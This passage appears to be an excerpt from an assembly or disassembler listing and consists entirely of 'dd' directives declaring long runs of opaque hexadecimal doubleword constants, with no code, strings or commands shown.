0E7AE063Ah, 70076CF9h, 924218DFh, 3C00BB1Ah dd 630EFB6h, 58D600B3h, 57879C1Dh, 0F2005B1Ah, 0F662551h dd 82E5F6h, 7E20B135h, 8F0CC090h, 19D3A100h, 84A89352h dd 0F77A0FB2h, 1B805B23h, 6221E88Ah, 22EACA00h, 9728B3FDh dd 5CB528C1h, 0A68F00D5h, 0E8A3B155h, 5D606512h, 9D23A916h dd 0F4A80020h, 0DB7F551Ch, 0AE582937h, 670078FFh, 0C341E319h dd 5B89DAh, 3208CF39h, 0B45C0D28h, 67EAA398h, 0C5DF1D28h dd 0C88F3106h, 6185F2h, 0EC7D0389h, 7B3A0187h, 1C94C200h dd 0AC82B072h, 265260CBh, 0AE3FC54Bh, 59A63124h, 0BE00FF12h dd 6CD53D9h, 102A0330h, 8B4AB478h, 0D16A6CA8h, 5F2BB200h dd 27B3720Fh, 19AA0243h, 9E8C2EB4h, 0AB9969C0h, 85027A90h dd 5621F7BEh, 606EE2E9h, 9CBA1F9h, 117CC936h, 3BFA4FA0h dd 16007BDCh, 1BACF969h, 0B8A5272Dh, 0B22A2C4Fh, 9656000Dh dd 3C8D76F4h, 78D1BF24h, 452E00C9h, 7B98E962h, 0F77E2CABh dd 0C9244923h, 0EA48A475h, 7D941F00h, 6A58FAF2h, 0D4E2581Ah dd 27C90305h, 2387D039h, 12E0A25Ah, 2787452Eh, 0CD6F6D05h dd 0B3551D80h, 148B8C5h, 5450129Eh, 8E040558h, 0CFE88361h dd 84031687h, 1E200A68h, 7C148918h, 1171C719h, 0DA6C013Ch dd 2089C62Bh, 25C48128h, 3C53547Ah, 0EF680A0Ah, 8F862802h dd 7A290847h, 81E21452h, 64217C2h, 5C308733h, 89566902h dd 0AEC681E6h, 34C8D016h, 9FACE900h, 7A6FFFBh, 62D3B952h dd 2AF9005Dh, 16247021h, 0C030B1B8h, 0FFC503h, 0A02F74E0h dd 1FE2F76Ah, 37893205h, 86005B86h, 935E06C9h, 421000D7h dd 870AF8D1h, 290F0738h, 806E2E40h, 7233926Bh, 50690EF3h dd 53E0014Ah, 7D37AB62h, 0D18B1300h, 926829A4h, 0F2F1D17h dd 0B051EF7Eh, 5041D34Bh, 8B0B3A3Bh, 5A075DBDh, 16712020h dd 0BF27504Eh, 0EE481061h, 407B4C4h, 3E4BC964h, 5E8BF88Bh dd 453CAE6Eh, 599F1200h, 0FAF9B079h, 26A848D3h, 0E944B18h dd 1118EBBFh, 3CEC1D5Eh, 31BCA1E2h, 9D0A55D8h, 1544D14Dh dd 2BA3C661h, 0E38DB762h, 235805E7h, 5626C9BDh, 172FC85h dd 0EF5AB966h, 0AC145B51h, 58557A1Eh, 6D6E6F85h, 0D848DA30h dd 11092FBBh, 7C6A30CFh, 3C00DEB9h, 51D5F790h, 5E7C1134h dd 0E08A36Ah, 6084CBD0h, 29B928D6h, 0F1340071h, 91C4190Bh dd 327949Eh, 9EF53DFh, 0C687B70Fh, 0A928159Dh, 97ACD6A0h dd 120B3D11h, 2F8D1FFh, 841A6482h, 479BB060h, 13136CBDh dd 816DB58Bh, 6A5B6138h, 88949228h, 0E12FB531h, 25456407h dd 0C46D026Ah, 0B136FCC0h, 0A5332E8Ch, 0BB66008Bh, 6050CC7Ah dd 626495h, 70A8B3Dh, 56A0866Ah, 1E986903h, 0D06F0B8Fh dd 9460BFh, 0BE5F75FEh, 680723ACh, 4B876149h, 3D87C5DBh dd 831BD221h, 125CC018h, 9627667h, 0E1F0D54Dh, 0B7ACEC97h dd 52C1384h, 97A80FE9h, 2E246E1h, 896DE57h, 0F0B25B1h dd 55686A89h, 7703DC90h, 51918100h, 99FC2B8h, 2552017Ah dd 2330C52Ah, 18F62BA7h, 97311DB2h, 52B7EC8h, 75175A38h dd 0FBC8B01Ch, 74455054h, 36CEA500h, 685B0103h, 0F34000BFh dd 0ED4A2144h, 0BAA2F9CFh, 842D377Dh, 84763BB3h, 81BEFDBDh dd 1451BD89h, 88539E3Ah, 187FC019h, 51023732h, 0F9BF66A6h dd 0BCD1D7E5h, 326AFB8Fh, 0EAE0A6A6h, 0C8133402h, 52A0F5B5h dd 843CB641h, 1B5D95h dd 2DB5FF61h, 0D817B316h, 0C1BF8305h, 626AA992h, 8021349Bh dd 212A2DF7h, 0C8A59D0Bh, 3B38AB11h, 34884BB0h, 0B327009Eh dd 0BDB48CA4h, 729070E6h, 0E4256895h, 202C9871h, 5AA01479h dd 469D130Dh, 6EFA45A4h, 92978C2h, 0E84CA4F8h, 0E7D6C0E9h dd 9F5C2231h, 88E02D90h, 0FC3F605h, 12AB2B5Fh, 92BBFDA6h dd 4E48EDB0h, 0A9C0A4E9h, 1F3F0A41h, 50F3C1BFh, 6A52C5F9h dd 0B0E9BA16h, 0E459D82h, 82C82B02h, 0D4A0ECFAh, 8CF305ABh dd 0BB8C0D6h, 2D5469BDh, 1FA092A2h, 6A00485h, 4B977DBDh dd 26B9B130h, 7267B62h, 0C0D0A8Ch, 1D7B3109h, 0AAFD0427h dd 193F3321h, 5B6F0D75h, 9A378C14h, 7A94670Bh, 0E4FC183Fh dd 1337A8Bh, 13990E44h, 31F6A694h, 0FA347BD7h, 0FC9334FBh dd 16E1D0D0h, 0D0A61511h, 85B21E29h, 0A965C6CBh, 17B384D3h dd 82205D84h, 2DBB6FBFh, 0CF4C47E5h, 485E5620h, 0F55A0160h dd 415430B6h, 61591B92h, 75F3C77Fh, 4038A100h, 464500F2h dd 5E263AA2h, 9805B664h, 0B4D0B2E5h, 0DCD8A8A8h, 0B9802181h dd 0F30E66F5h, 0FC61D2FEh, 1229957Eh, 6E8E0F01h, 5E61118Ch dd 80B3DBFCh, 5DF3674Fh, 2B7912A7h, 0B833FDC0h, 0F84D0168h dd 7D66C229h, 8BA425A8h, 0D4D22BADh, 1446FE41h, 0A75C124h dd 8FDA3FDh, 502D2FB9h, 0FC204ACBh, 6AEAA525h, 48290104h dd 0B11364C1h, 0A2662870h, 61C2FEh, 34EB81FEh, 717806FBh dd 83598D29h, 0DC442995h, 0AC00F4E4h, 1E2FCEBCh, 5A02B114h dd 81BE8CE9h, 830CDB05h, 93A80D80h, 31B0F8ACh, 9F225D20h dd 5A6B6994h, 0C6CD557Ah, 828213C4h, 0B8976915h, 0C54F55C2h dd 6B6C0660h, 0FA8B0B51h, 6751F95Bh, 64B5BEA0h, 8BE127AFh dd 0CA669451h, 9B8DEC73h, 2ADD0819h, 50C78100h, 0B54361C0h dd 0C6602B14h, 358D093Fh, 0B6969704h, 447D863Ah, 0B6605AFBh dd 57A0E2A9h, 0C086F411h, 1007FE48h, 4E526D36h, 64F68340h dd 84075ACEh, 0B86BB916h, 0FA5400C0h, 0D52B31AEh, 0CABFBD01h dd 1B7F9BCh, 429C5422h, 0ABBB50CDh, 0DD1E4875h, 0F84BA30Fh dd 0B749505Fh, 2E0088B7h, 0A377C54Bh, 0CDFB0992h, 48028CAAh dd 0A1640EB1h, 7E2FAD25h, 43F56616h, 0C81C5F98h, 4D2D2524h dd 60186476h, 24516088h, 1F084C99h, 6E4EED91h, 4A6B795h dd 80FD9A36h, 0E364D10Eh, 331A60F4h, 40E3718Dh, 962C0D0Eh dd 5F2B33Dh, 0BB9000DCh, 3364B8A6h, 0BF3A506Ah, 251318A0h dd 30EC8A30h, 28953190h, 0BE5220BDh, 68D100CAh, 0C21B7F3Fh dd 0C0B7B778h, 2584C07Dh, 7F563E03h, 8FCA7D40h, 0C3D90007h dd 0E3FB2898h, 0E0BFC90Fh, 810A61F2h, 31743E5Fh, 0B3A811FDh dd 9C869E14h, 3BFF79B0h, 41582DE7h, 10082D11h, 53120177h dd 0CD3DBE5Fh, 803EDB2Ah, 28E7C7F0h, 84302D10h, 5B970E44h dd 0DBB87BEDh, 190F61EAh, 57652842h, 0D40DBA49h, 0BF0FE26Dh dd 9C54B862h, 37A4C809h, 801A115Ch, 35101395h, 60920046h dd 0E74FCF81h, 62B75201h, 0F6077E6Dh, 45F0E400h, 4CD03A5Ch dd 0F9F11799h, 96F250h, 0B3C8F215h, 2D2FC57h, 0D85F3AF5h dd 5A7689DCh, 0DD898237h, 1991C1B5h, 168D3E80h, 8550B015h dd 1340C1AEh, 97F91F68h, 0A1F86D4Ch, 87118F9Fh, 0B7AA5394h dd 0DF8DFA09h, 256D5EB1h, 0DA8C6AE7h, 0F9164AA1h, 8C17BCA7h dd 0D374320Ch, 4B2DA68Fh, 8075E929h, 9B1260F3h, 0F8FF0768h dd 20FE6CCBh, 0E2237DC3h, 61095C0Bh, 8DE28256h, 0EE5B0407h dd 1DC84EDEh, 0A799FAC0h, 182C0175h, 0B78E5C59h, 5DAA89FCh dd 0C809F917h, 822F3B6Fh, 0D94E6A66h, 5F0BBA82h, 0E4F7BBB3h dd 0FAF63ADBh, 532DB925h, 2AFED03Ch, 86000CE0h, 2ABD262h dd 2787E5BFh, 0C2E53480h, 0D404400Bh, 9D5AF402h, 0B3D2CC10h dd 2B592F14h, 6B283DF1h, 6E289527h, 60BB0F2Ch, 0F3938368h dd 6D8540A5h, 0E3602940h, 11806035h, 0AB760ABBh, 80FC6146h dd 0E478E327h, 0D0C00DAh, 0E2C7C5DBh, 0FD0009D8h, 514F53F3h dd 1386B5EEh, 0F5616FB9h, 0A3F73AC1h, 7DD362B0h, 9266B332h dd 62A47EE6h, 44556050h, 0F71C4EA2h, 7DB305F6h, 0A2805F61h dd 2DF325BFh, 5F23178h, 45294298h, 0DC4A9619h, 0D5AB7062h dd 8A000453h, 0E5DCD468h, 449E628Eh, 0AA7E2975h, 50B8535Ah dd 4B0B4EE1h, 82F03BA5h, 90103908h, 0B72B41D4h, 32AE9DE5h dd 0CD764FD4h, 3EEF61C5h, 59D99B72h, 260E5457h, 0AFA25966h dd 0BECC041Bh, 6E4E87FCh, 54C913FBh, 0EF53F652h, 0DDB097E7h dd 60EA338Dh, 2175B2A2h, 6158561Bh, 81244D6Ch, 0A9CEA7A7h dd 0D431B4h, 0DB3D1A8Fh, 32353495h, 0DC2D5225h, 0FD1B162Fh dd 960C0C2h, 0A41831B5h, 895CB7F4h, 0B7220B27h, 0C0141FB5h dd 325AE5F0h, 212EEF71h, 9D0BB983h, 0FE66C922h, 232C8026h dd 601F3297h, 11932AD3h, 6995B2D0h, 0F9A1D213h, 0F9BF81C5h dd 1DC75096h, 0E55FDA5Eh, 23718D7Bh, 6143882Fh, 57DE0D00h dd 0F8DC99C1h, 461A293Eh, 78CA275Dh, 7850D3DDh, 5325B1B5h dd 65B9F9F8h, 0EC37BD76h, 9B660988h, 0F164A81Ch, 96850300h dd 200EED23h, 0D533013Ch, 0A13F6DE5h, 0CE42F6BDh, 0A3057242h dd 89A2DEh, 0D852DF16h, 1119C59h, 5775C874h, 2A9661DEh dd 0D3E054F6h, 5702E075h, 5C5B1563h, 234CD6F0h, 89291DAFh dd 0A5FB25F5h, 94130EA6h, 1CACF1A9h, 0A65E008Ch, 0F1F513E8h dd 0D7498F1Ah, 0EE062754h, 0BF6609A1h, 87F94856h, 160E5E47h dd 81B7DBBBh, 2C7336FEh, 0BF5B91D3h, 0BFE0A530h, 2A518182h dd 0B7E2837Eh, 25817EACh, 9970795Bh, 4EC600D8h, 0A90D9E2h dd 0F55B091Eh, 0DAD2A4F3h, 365F806Eh, 915731E2h, 977C2520h dd 70E8D32Fh, 5F0165F6h, 2286CCDDh, 9B6FC18Bh, 9E182DFh dd 691C5CC4h, 51DDEE81h, 9DD73B90h, 0FE05119h, 0E9E06A8Ch dd 0BB4285A7h, 0BC539701h, 905B5F37h, 0CCB9136Dh, 0A52FB589h dd 125D7111h, 10362695h, 5B8D5166h, 41F1EEAAh, 2A8F3152h dd 0B582F812h, 7F30E2F9h, 2696EEFAh, 7ED500DCh, 2C925A45h dd 2358C56Fh, 4F252E4Eh, 1F9B6A92h, 0EF80ECC1h, 13E93CDh dd 4B97D215h, 0DA4A76E7h, 0A6969F5Ch, 0CF56504h, 6B682DBFh dd 884BEE6Ah, 0BD31296Fh, 0D1FF9FC9h, 87C89B3Ah, 98F3D082h dd 0F6FC8AD3h, 0D20909F2h, 0B744F259h, 0C0599EFAh, 0E78077F3h dd 26A2E6Eh, 0E313DE4Ah, 35AE6510h, 0B1480478h, 8B900028h dd 76B750F8h, 78DF93EFh, 0E604D034h, 0DA292001h, 0A102E6E2h dd 71B43060h, 0FEB4D0D5h, 56E2164Dh, 8AD4AB01h, 0B62FF0CDh dd 9798F0ADh, 73D4FDF0h, 29F309B3h, 15713DE9h, 0B7945BC4h dd 38C1B5DBh, 0F2962CCBh, 717058D3h, 0D58A2D28h, 24A0AD0h dd 0D340EBA7h, 25EFBE25h, 0B5B7426Eh, 0F326033Bh, 848072D2h dd 0B33A5090h, 0A6E5AA2h, 0E982AC3Fh, 0F60E0B10h, 0D52548D0h dd 62EEF912h, 667F8D0Fh, 32B295D3h, 447B4255h, 0D78109CFh dd 1873D16Bh, 0F997D910h, 5F29AC6Dh, 0B71EA485h, 3B20345Ch dd 0FE5D644Dh, 0ED89EEADh, 9EE77974h, 0D4A61Ch, 0EA7F2113h dd 0E8ECEB3Dh, 0B2522909h, 0B923F5B0h, 95D212EDh, 61A2A0DFh dd 4A8A70E6h, 2166FDFDh, 0FB911DAh, 44F8CF81h, 20BF5A17h dd 0E9E46C8Ch, 0F86A0745h, 18BAC943h, 0A1D19D10h, 0E371C165h dd 9AD9102Ah, 31D5804Ah, 0E497E985h, 7C78C8Fh, 0D18BC6B3h dd 925DA431h, 61D6E9C0h, 3B07BB81h, 4570188Ch, 4A4C7144h dd 0E8C6C45Fh, 7D9F1A5Ch dd 0B5F94910h, 9CEEB254h, 4350E9FCh, 3D25B558h, 99D6E04h dd 335E5660h, 7E24720Bh, 88A1AC61h, 46BB8124h, 1D51EC88h dd 48E9B903h, 55406639h, 75DBA1FCh, 0C4EBB23Bh, 0F6126D4Bh dd 9765E05Fh, 0A41C2437h, 0DD508D1h, 9E106013h, 21CD12A6h dd 1488A7DAh, 2CBC83C4h, 0ECB11680h, 134AA84Eh, 943CD7CDh dd 0F05DF464h, 0B07BB9B4h, 7B6F7EE1h, 0A101C902h, 107FA06Fh dd 3FBB20h, 0A8528FEFh, 5D2AED27h, 1CCAD800h, 502973C9h dd 955B71F5h, 6E9B7AFAh, 3983C178h, 7298509h, 0C2AD17E5h dd 0B757FC0Eh, 0B1D100D4h, 55B529D5h, 482B1240h, 353D0BC0h dd 0D770FCCAh, 28A185B6h, 2FB421DEh, 4AB09F15h, 15C830DFh dd 50D22DC5h, 898BF661h, 3ADF059Dh, 27B0FF52h, 438A0487h dd 56E6D223h, 0D75169DDh, 0CBC8775Ah, 2BF745BDh, 8856D938h dd 2BE1B8F9h, 32C1B19Eh, 2B20C1ECh, 9A5F1FF7h, 0CB6782FBh dd 0E9F2DF31h, 51FCFF4Eh, 0BB0D0113h, 8AF6A938h, 45E39502h dd 5552C756h, 926D026Ah, 5428CBE0h, 2FA30DC2h, 218EF9DDh dd 0EA382A92h, 0C2D08A94h, 0CB816001h, 6F1A7AFFh, 0EDC1132Bh dd 2CAFB8CAh, 934B05CBh, 0BB6ABB17h, 0BB131423h, 1A0030A2h dd 7CF4747Dh, 9B00046Eh, 71B77B2Ah, 0FB8D9FAh, 0BC67F2BAh dd 35ABB452h, 4E310141h, 0A8D24B7Ch, 0EADD845Bh, 20BD71C0h dd 795413D5h, 0A72E1225h, 9B9A5F92h, 1A0C780h, 0A305565Ah dd 0F52EF7E3h, 581581C2h, 0CD4D97A6h, 832AD3C0h, 2507744Ah dd 0F4ED6AF9h, 0F8EA20E0h, 51A8078Ch, 70EB8191h, 0BB32F68h dd 0FBBCE3Ch, 0B84B978Fh, 2750D0ACh, 3C743213h, 574125DEh dd 0C60057D9h, 93BCBFB4h, 6E3D00FFh, 0A4A0849Bh, 0EBFA12DBh dd 0B19D0512h, 23EA6BBAh, 6CF60517h, 0DE02EA7Bh, 0F58AFFD3h dd 0B3D67B8h, 1D9BB95h, 74BFE32Eh, 770182E9h, 0B68000CDh dd 0E676532Ch, 0DAFC091Fh, 0FC019872h, 2B71A916h, 4568EB3Dh dd 94D75C61h, 0D1352BFAh, 0AAA8D394h, 0B77589C9h, 31D080E5h dd 17492BD5h, 66A49A02h, 567345BFh, 1546D6CAh, 0C0CD4318h dd 0F6645FF3h, 0C4ACDEB4h, 85CFDB5Fh, 6DACA0ADh, 9B40820h dd 7555BB81h, 12A84A6Eh, 0ED024E05h, 55ACD3A3h, 0F3397F58h dd 0DFDFBB9Eh, 4061DC22h, 0D49A268h, 0ED49B784h, 0BA5D0660h dd 3BC07C11h, 8DA579CBh, 3AFE06D4h, 0A5005247h, 7C4DA4D2h dd 0D0D72931h, 90261FB9h, 6926615Ch, 36F86B48h, 0F9550BF1h dd 0ACE22BF9h, 41D10B7Dh, 0F9FC6302h, 0D9D3302h, 77CD5716h dd 7D601BE4h, 7E0ED3B5h, 23E1C0BBh, 840C8A0Fh, 51B123ECh dd 0A4020518h, 5698F4BBh, 2A125BDFh, 0B9B32A99h, 6B245F8Dh dd 0F0C0BE9Bh, 1A8D7A92h, 25B3307h, 38B381F5h, 0E971E815h dd 0FE4FBD4Bh, 68DEE460h, 0A39539E8h, 618BB3E5h, 3B264D81h dd 2BAD3B3h, 0EE8632BFh, 70317B5Bh, 0F6131393h, 8FAF774h dd 571D216Dh, 0E5EDB5D7h, 5C55F25h, 0DAD7A110h, 0DB028482h dd 0E3BAD3C0h, 22494807h, 613E71B3h, 5655AD03h, 0F98B504Fh dd 0BD003097h, 0DC144AD1h, 799D522Ch, 0B35B920Ah, 9D2B0CBAh dd 9696F359h, 0B33A4087h, 0E524F8C9h, 1068D2D2h, 9997B780h dd 975FEDDAh, 98738242h, 9566D772h, 818D0109h, 69307716h dd 3700D00Bh, 0E769FF5Fh, 95C1BD09h, 0BB0BF394h, 7C9ED779h dd 1C46DC8Eh, 90E9EC00h, 44A7F2FAh, 1A6E504h, 38F1D19Dh dd 0B2DAA63Bh, 0EC5D3018h, 0A416FA16h, 95E5AEE0h, 0F251C211h dd 0EBB07629h, 0D4C376h, 0BF8365E2h, 6B8CF759h, 7B0C0997h dd 0F25D83Eh, 36A8FB00h, 2743F575h, 0CBC5975Eh, 40B9EDA5h dd 0AAEDA701h, 4E3ED8FFh, 24A8B64Bh, 1215F110h, 0DF5870Fh dd 2F4481D9h, 0C54A4FA8h, 970CDB46h, 77C956E9h, 0F750382h dd 44EDCD57h, 0B4AD6017h, 0C89B625Ch, 425C1891h, 8940B3E0h dd 0DBB84586h, 29B1BBFDh, 81A8DE3Bh, 0D56711C1h, 0B047FCh dd 0BF7BBBE7h, 5AD9A054h, 8B595397h, 9CD0E35h, 0C46019E4h dd 393FCF2Dh, 0D9F26285h, 8D090111h, 3164C619h, 3F50844h dd 4CD19BA1h, 50DA11A8h, 27C84FFh, 8B595340h, 964B61D7h dd 8A80C0DBh, 8E95557Ah, 0FDB3CE12h, 19AC0CF9h, 0F68B78Ch dd 0B3252C06h, 4C51C687h, 977CD331h, 5D13C9C7h, 0E6EC86E9h dd 53F77909h, 0F9F960h, 1E03C58Fh, 0B100C380h, 0A4A79217h dd 25B70C0h, 61C78B66h, 6A57965Fh, 0E2E34B10h, 91E563DEh dd 4B810583h, 4B70BCBFh, 78E5354Dh, 420201AEh, 208DB531h dd 1F92B732h, 28B9085Ch, 84EAE814h, 32809089h, 1E2F27FAh dd 12E68A71h, 276BBF61h, 0EB181423h, 25BC5894h, 4FCD4408h dd 88601864h, 8528E878h, 0F80B966Dh, 7C04F780h, 0B8FBC4F4h dd 7A4FC1D2h, 0A1CC3E58h, 0BBCD0972h, 5A7150C9h, 3FA96E44h dd 0CF4AACECh, 6AD70DFDh, 223C0077h, 9B88EB79h, 0B0E94F6Eh dd 73BC2D3h, 0AD803E37h, 0DB7196h, 7FB769EFh, 4F449A0h dd 0B6713B01h, 6142CD23h, 8A5CC6h, 8946EB81h, 1E976EC7h dd 0D4299E6Ah, 0F9BA9004h, 12BFBEE9h, 914A1320h, 30C18BA2h dd 988A1109h, 29B0C34h, 8DFFA392h, 6AD54B4Dh, 5F35555Ah dd 0C09F1A91h, 0AB729F25h, 649814E2h, 5A286920h, 95B4AD90h dd 764480A0h, 48504821h, 7C6BB790h, 63444B6Fh, 93338DFBh dd 8812BBD4h, 0F5C164DBh, 2EDA8B19h, 0ABF97416h, 0E704B1B8h dd 0AC2C6962h, 7FF72680h, 8EBB0310h, 504DBA24h, 0A5C1ECB2h dd 5BF73C41h, 0FF008E6Eh, 69A9BE38h, 9D4F0350h, 0BB5B3BF2h dd 30918440h, 1EA4461Fh, 24F92971h, 0F2FB0021h, 0B30BA3BEh dd 89CAC802h, 770E5985h, 0B098D0C4h, 2309D21h, 936FBB66h dd 44D6CC77h, 0DCBDDD0Ah, 4FA8010Fh, 0BE5CD6DCh, 0F39F2D32h dd 181459F7h, 0BF0358DFh, 0DB662527h, 0BF17D175h, 80E1B472h dd 27F5CF6Eh, 0F6EB76B0h, 0E4415B09h, 9434DC4Dh, 7D118DF5h dd 0A5022E20h, 577000DEh, 0ACDDFF73h, 8717D913h, 9DF25090h dd 3D82253Ch, 603C1F26h, 0BCA31B77h, 905F34C1h, 2ECCE73Bh dd 9834689Dh, 7A8772ACh, 39D0606Bh, 0CB01FB10h, 2FD59D81h dd 0F62B613Fh, 3319B210h, 0C6FF96F8h, 0E9E2CB1Eh, 6AE20E52h dd 0C921C5C9h, 2B85B589h, 42BFAD43h, 0BBF99880h, 4155A2Eh dd 0B8CC1C7Fh, 9D01C22Dh, 5670DDB1h, 4F2290BFh, 0F1E812A4h dd 0B6A15297h, 7F14E278h, 0BCC15B42h, 5CFC12C9h, 243F2F17h dd 1C87002h, 299C49B2h, 9132652Eh, 4062EC1Bh, 51E83A83h dd 7E310B97h, 190EF6C2h, 0A09F3C2Ch, 36E62F86h, 84BB04EBh dd 0B8118532h, 3C494A89h, 80FAB7FFh, 4F618821h, 82A1FC9Fh dd 81E9488Dh, 9964D304h, 13AB124Ch, 0BD4D2076h, 0C5B72B61h dd 624611F6h, 50EA99Ah, 0A8B3B0h, 726FE39Bh, 0E9C90DBh dd 4330A5BEh, 0D9201140h, 705AE646h, 0D272DB01h, 207B71E4h dd 0EDC6C9E3h, 52BE9300h, 0D4A5DAA1h, 0E94121Bh, 0D09FA8A9h dd 30F910FEh, 87C95B25h, 5E2312F8h, 0D88A4279h, 0F52D895Ch dd 459D8098h, 61B6044Ah, 58818D40h, 0B8BCE28h, 7BE5530Dh dd 841762A8h, 0C065E917h, 670699BBh, 26EE00F0h, 4464540Ah dd 9200D0C0h, 279E621Ah, 4EA19D33h, 931AFC2Ah, 0C1FEEA0Ah dd 835A8F00h, 0F4C82B2Ch, 2400B92h, 10D58959h, 0C2D18B6Dh dd 85E9F830h, 0D126EBD1h, 869F3160h, 9AEB840h, 47554C50h dd 0C0EE215Fh, 90658A07h, 4B930B34h, 0AB19213h, 2FC78021h dd 2519F32Bh, 99B0C6DEh dd 2B1D8050h, 47763251h, 4A27EF00h, 0DAE7D9B3h, 81F307EBh dd 223BB7F5h, 0C15C5F9Ah, 5522944h, 0BF54B223h, 3D9D3470h dd 62828430h, 31857A4h, 2501860Fh, 0C6CCF947h, 527CFB13h dd 0EEF0E6F6h, 0D50212A2h, 76430E8Eh, 0E0514316h, 916AC524h dd 0BE221377h, 0A91FB74h, 22887819h, 0B9050809h, 36B40F7Ch dd 8C9A96D1h, 1C56FCE1h, 3C450A12h, 0A6F049E6h, 0AB9CFF42h dd 19B7DFADh, 276D9D00h, 241594D8h, 99B3CE6h, 69710871h dd 0D459D4A7h, 12466CBDh, 0E3F755ACh, 132FDE69h, 171AD0A7h dd 32B30F35h, 0F40038B0h, 933B7E53h, 0B7524C05h, 0A809AEBEh dd 5BA325FDh, 3600516Bh, 1F944ADEh, 797F1C9Ah, 8B60CC05h dd 31BF61D9h, 10068F47h, 0B651BD01h, 4BF32D22h, 8E181C59h dd 0DC27E100h, 0A5B2584Eh, 9D2B097Ch, 945F18F5h, 0DABF1251h dd 1D820450h, 715F0915h, 94055AC0h, 80E64215h, 0C05C4CD3h dd 7E165751h, 38520149h, 0D0B74FB8h, 2E82D2B1h, 1EDAC375h dd 0BD311B81h, 26406211h, 123A65E1h, 0C1E25B53h, 0EA04EF84h dd 0B48C81DEh, 8D880C34h, 6E1900C5h, 555CAEFFh, 150706E7h dd 0DBD29E0h, 5B92C13Ah, 0C788F3E2h, 0CE60E3ACh, 6FCF33h dd 0FD345D2Eh, 0A83BBDB0h, 0DC8A764Bh, 0B53D722Fh, 0BF14E680h dd 0B931A54h, 60DF8B07h, 0C07EEDDDh, 3102FA40h, 0A325B534h dd 0E64F1CB8h, 2058E08Ch, 0C89125E6h, 1B700189h, 4AB58927h dd 121CF49Eh, 0C49DAC13h, 8B1F0174h, 4BFE09BDh, 95E6724Bh dd 1B591AF3h, 0C901A718h, 0ACDBAE84h, 742FCD51h, 0A8E7E90Eh dd 0FB603892h, 0FA8B348Bh, 3AE90D70h, 0B0D308CCh, 0AAFC1FB8h dd 0F83EC005h, 900D1D80h, 2DC599Ch, 698F4CBEh, 0BDFFBA17h dd 80E11F27h, 0F53EAD5Bh, 85380160h, 8475CC11h, 610B140Dh dd 17D2945Dh, 0AF50F98Bh, 0F25F1F34h, 57128B26h, 9A4480CDh dd 3D600AE4h, 153ABE66h, 0B2595083h, 998F61C5h, 7DCFF54h dd 0AAAE259Eh, 995B01EFh, 32E3EE66h, 0F8C4F6D3h, 0D9258241h dd 0F9CE5FD1h, 0EBA83607h, 13B01B69h, 95625B9Fh, 0B34823CCh dd 5E852759h, 9314FC35h, 5891BF2Bh, 1A1175Dh, 9905EF94h dd 92F92785h, 50135BECh, 29BE61B7h, 0A84929F9h, 94E50002h dd 56BDED60h, 2CE942ACh, 0D95D38F4h, 9D0B818Ch, 0DC6F08ADh dd 0F71F815Eh, 1A13A164h, 96F82ABEh, 33A102ABh, 0C2CBC59Dh dd 20E9BDB0h, 497F8981h, 0E941638h, 15A098FDh, 9804460Dh dd 32964C8Eh, 8865D372h, 9A003788h, 46642E44h, 486EA8E3h dd 7740E058h, 0B0EB0281h, 96CCF69Bh, 5EE0136Dh, 1459488h dd 0CFC78108h, 2F18F111h, 0EEAD8412h, 0D5008AECh, 0A2B8076h dd 0EA7DACA7h, 2A6920BDh, 36206800h, 66BB9DC8h, 17AC25B4h dd 0CDDFA3E0h, 0D062562Fh, 0FD064A12h, 0B0A8D649h, 6C8F8AC9h dd 5D5A8829h, 0E3BF5202h, 0E3021683h, 5A8FF24Ch, 44BB0249h dd 90231360h, 58DCA6FCh, 754C1432h, 96919D4Bh, 18823D18h dd 0DC125E61h, 38FCC500h, 74A7A215h, 0C2684BB6h, 8A021B78h dd 0EECF77DAh, 75601864h, 0A3258339h, 3F82C57Eh, 0B012A74Bh dd 32FDED5h, 0C21F4CAEh, 0BB8469E9h, 3D80D29Eh, 94ED015Dh dd 7ED7282Fh, 0FE44693Fh, 8CD0FA1Ch, 0E0A71E00h, 0E34E49h dd 0DDCFF130h, 9212217Ch, 1BB5402h, 602208D9h, 0B7BD234Dh dd 5F13ACF4h, 0F2033ABFh, 0A9B32F09h, 5A9BD709h, 0B277EA92h dd 1F458D61h, 2285CE6Fh, 78089364h, 3701C643h, 0BBA26105h dd 84CD6E94h, 0BD387CD8h, 0F964D87Ch, 26134A8Bh, 307AAA04h dd 0F9A4CD16h, 0DEB784EAh, 0F5C1E4BCh, 7B818D31h, 0E94E26A3h dd 26F1ECBCh, 61618B3Ch, 0A6119509h, 4909DD6Dh, 7ABB5F27h dd 1F691810h, 987A25Bh, 8BC38A60h, 55C5D57Bh, 3796610Bh dd 0BC868262h, 86A06068h, 3784B966h, 0F921615Fh, 0B32FBB29h dd 0EFB34B70h, 98025B2Dh, 15550C52h, 0AC00495Ch, 0CD950A41h dd 0C2489401h, 0D618529h, 5E0BCB2Bh, 0FC8364DAh, 0D0B11323h dd 0D2C52B78h, 14D6A1FBh, 76DEBAF5h, 4AF39EC0h, 0BA7EB297h dd 0FBE3372Dh, 181B59D3h, 8AC7015Dh, 1649984Ah, 79BD4169h dd 33356212h, 0ACB30DD1h, 0FCD631E8h, 3AC180A8h, 208C243h dd 0F86549B9h, 95EC3811h, 2D7745B0h, 223C5F81h, 0ECEFED4Fh dd 84A903E3h, 0B9CA0F8Eh, 5D10E8F4h, 0F867B81Eh, 515609E7h dd 8D00718h, 124501BDh, 342F6121h, 0DB8DEAE9h, 0ABED342Eh dd 0A8871220h, 9D7A3802h, 0EBE03900h, 4FD8C861h, 0A2F18C31h dd 0DA6FDA8Bh, 0C019C822h, 94C4D614h, 316DE10Eh, 7B038995h dd 3040AFF4h, 9617F943h, 5DAFB4B3h, 619EF02h, 5B333833h dd 87A118A8h, 0C25B212h, 0F8C42B0Ch, 9C5C2701h, 5B3D28CAh dd 29E79D2Bh, 25BEA812h, 0AEE5E3ADh, 0EF2D6F1Ch, 0ED0D4021h dd 28132548h, 0F5B1F0FEh, 0CF3954DAh, 298EF640h, 6203F988h dd 0A3C6273Bh, 7C969A13h, 1C674055h, 0F30F0DB4h, 0D35087E3h dd 0D5E110E6h, 0D247CC6Eh, 8529B690h, 3144BE17h, 8AEF49C4h dd 9D0B05D5h, 0D62C1589h, 0BE15E183h, 6AFF5E74h, 0C70A0008h dd 0F46FB5A1h, 0A69AF189h, 0E5875351h, 9C5F0919h, 535D428Fh dd 4E764C30h, 9A4B1DBDh, 0C017C87Dh, 0CB8A9E8Fh, 4505F7FEh dd 0C628A097h, 3FE9C5A9h, 8F4BCDB7h, 0E1DA5F7Dh, 50B33380h dd 9E0315FCh, 0F29CE970h, 0F38089FFh, 